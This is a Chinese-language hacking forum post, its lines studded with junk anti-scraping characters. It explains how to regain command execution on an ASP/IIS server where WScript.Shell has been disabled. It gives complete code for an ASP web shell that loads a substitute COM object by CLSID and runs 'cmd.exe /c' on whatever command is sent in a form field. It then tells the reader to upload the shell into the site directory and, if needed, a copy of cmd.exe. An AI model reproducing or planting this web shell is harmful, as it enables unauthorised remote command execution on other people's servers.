可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。1 J0 ?: `7 e7 W a2 k. ]
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。" p4 o4 H; q1 L
要想让运行命令可以试试这种方法,成功率为五五之数。( u" R$ |; h3 k/ B
把下面代码复制:% z% V4 w/ [- `$ A1 ?
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
7 e+ N4 z' `, p<%if err then%>8 w+ [* B0 n9 X8 j. t" d$ l
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
5 f6 V! e* J& l& {. M<%
- ^4 F8 Z, @% D; N& O: j$ Dend if4 j" L5 B& k' ?1 d8 d, B; ]. I t
response.write("<textarea readonly cols=80 rows=20>"), ^3 C0 x, B! T9 E
On Error Resume Next! ^& b" Y. k: S; H5 Z& d
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall f) _7 p; i9 h/ m1 J7 P
response.write("</textarea>")* k6 o% \* h& K, F9 @4 D/ p
response.write("<form method='post'>")
1 X0 }+ a* q2 p- dresponse.write("<input type=text name='c' size=60><br>")# y, W H, D4 e) k2 ~
response.write("<input type=submit value='执行'></form>")
9 h( f1 f% \! U9 B+ }% Z%>
. N f1 L9 N1 D) \3 J" {8 Q9 R. o8 Z+ K6 A w( m, o' o7 ?
保存为一个asp文件,然后传到网站目录上去
* e% I, I8 B) D v运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
' \$ e3 o7 Y% Y* h我用此成功运行过cacls命令。
, b, y4 G V' \$ @/ c5 w& W9 h$ }8 o. @! @9 [3 K& |) K, @2 _: M
第二那就是运行时出错,可能限制某些代码执行 |